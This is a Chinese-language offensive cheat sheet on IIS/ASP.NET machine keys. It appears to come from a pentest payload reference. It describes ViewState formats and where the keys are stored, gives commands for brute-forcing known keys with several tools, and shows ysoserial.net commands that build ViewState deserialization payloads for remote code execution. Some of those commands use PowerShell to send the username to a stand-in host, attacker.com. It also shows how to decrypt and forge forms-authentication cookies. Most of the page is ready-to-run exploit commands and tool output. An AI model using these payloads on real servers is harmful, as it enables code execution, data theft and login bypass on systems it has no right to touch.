跳转至

IIS Machine Keys (IIS 机器密钥)

机器密钥 (Machine Key) 用于表单身份验证 cookie 数据和视图状态 (view-state) 数据的加密与解密,以及进程外会话状态标识的验证。

摘要 (Summary)

视图状态格式 (Viewstate Format)

IIS 中的 ViewState 是一种在 ASP.NET 应用程序的后期回传 (postbacks) 之间保留 Web 控件状态的技术。它将数据存储在页面的隐藏字段中,允许页面维护用户输入和其他状态信息。

格式 属性
Base64 EnableViewStateMac=False, ViewStateEncryptionMode=False
Base64 + MAC EnableViewStateMac=True
Base64 + 加密 ViewStateEncryptionMode=True

在 2014 年 9 月之前,enableViewStateMac 属性默认设置为 False。 通常未加密的 viewstate 以字符串 /wEP 开头。

机器密钥格式与位置 (Machine Key Format And Locations)

IIS 中的 machineKey 是 ASP.NET 中的一个配置元素,指定用于加密和验证数据(如视图状态和表单身份验证令牌)的加密密钥和算法。它确保了 Web 应用程序的一致性和安全性,特别是在 Web 场 (web farm) 环境中。

machineKey 的格式如下:

<machineKey validationKey="[字符串]" decryptionKey="[字符串]" validation="[SHA1 (默认) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:算法名称]" decryption="[Auto (默认) | DES | 3DES | AES | alg:算法名称]" />

validationKey 属性指定用于验证数据的十六进制字符串,确保数据未被篡改。

decryptionKey 属性提供用于加密和解密敏感数据的十六进制字符串。

validation 属性定义用于数据验证的算法,选项包括 SHA1、MD5、3DES、AES 和 HMACSHA256 等。

decryption 属性指定加密算法,选项包括 Auto、DES、3DES 和 AES,或者您可以使用 alg:algorithm_name 指定自定义算法。

以下 machineKey 示例来自 Microsoft 文档

<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />

web.config / machine.config 的常用位置:

  • 32位
    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
  • 64位
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
    • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
  • 当启用 AutoGenerate 时在注册表中(使用 irsdl/machineKeyFinder.aspx 提取)
    • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
    • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey

识别已知机器密钥 (Identify Known Machine Key)

尝试使用来自已知产品、Microsoft 文档或互联网其他地方的多个机器密钥。

  • isclayton/viewstalker

    ./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
    ____   ____.__                       __         .__   __
    \   \ /   /|__| ______  _  _________/  |______  |  | |  | __ ___________ 
    \   Y   / |  |/ __ \ \/ \/ /  ___/\   __\__  \ |  | |  |/ // __ \_  __ \
    \     /  |  \  ___/\     /\___ \  |  |  / __ \|  |_|    <\  ___/|  | \/
    \___/   |__|\___  >\/\_//____  > |__| (____  /____/__|_ \\___  >__|   
                    \/           \/            \/          \/    \/       
    
    KEY FOUND!!!
    Host:   
    Validation Key: XXXXX,XXXXX
    
  • blacklanternsecurity/badsecrets

    python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
    Matching MachineKeys found!
    validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
    
  • irsdl/crapsecrets

    python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -r
    python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -mrd 5
    python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -u http://update.microsoft.com/
    python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -u http://192.168.6.22:8080/
    python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -mkf ./crapsecrets/resources/aspnet_machinekeys.txt -u http://192.168.6.22:8080/a1/b/c1/
    
  • NotSoSecure/Blacklist3r

    AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate  --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
    
  • 0xacb/viewgen

    $ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
    [+] ViewState is not encrypted
    [+] Signature algorithm: SHA1
    

值得使用的机器密钥列表:

解码视图状态 (Decode ViewState)

  • BApp Store > ViewState Editor - ViewState Editor 是一款扩展插件,允许您查看和编辑 V1.1 和 V2.0 ASP 视图状态数据的结构和内容。
  • 0xacb/viewgen

    viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
    

生成用于 RCE 的视图状态 (Generate ViewState For RCE)

首先需要解码 Viewstate 以了解是否启用了 MAC 和加密。

要求 (Requirements):

  • __VIEWSTATE
  • __VIEWSTATEGENERATOR

MAC 未启用 (MAC Is Not Enabled)

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"

MAC 已启用且加密已禁用 (MAC Is Enabled And Encryption Is Disabled)

  • 使用 badsecretsviewstalkerAspDotNetWrapper.exeviewgen 找到机器密钥 (validationkey)

    AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate  --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
    # --modifier = `__VIEWSTATEGENERATOR` 参数值
    # --encrypteddata = 目标应用程序的 `__VIEWSTATE` 参数值
    
  • 然后使用 pwntester/ysoserial.net 生成 ViewState,可以使用 TextFormattingRunPropertiesTypeConfuseDelegate 两种 gadgets。

    .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
    .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
    
    # --generator = `__VIEWSTATEGENERATOR` 参数值
    # --validationkey = 前一个命令中得到的验证密钥
    

MAC 已启用且加密已启用 (MAC Is Enabled And Encryption Is Enabled)

默认验证算法为 HMACSHA256,默认解密算法为 AES

如果缺少 __VIEWSTATEGENERATOR 但应用程序使用的是 .NET Framework 4.0 或更低版本,可以使用应用程序的根路径(例如:--apppath="/testaspx/")。

  • .NET Framework < 4.5,如果您从请求中删除 __VIEWSTATEENCRYPTED 参数,ASP.NET 始终接受未加密的 __VIEWSTATE

    .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
    
  • .NET Framework > 4.5,machineKey 具有属性:compatibilityMode="Framework45"

    .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
    

如果您拥有 machineKey 但视图状态被禁用。

ASP.net 表单身份验证 Cookie:liquidsec/aspnetCryptTools

# 解密 cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes

# 加密 cookie (编辑 Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt

参考资料 (References)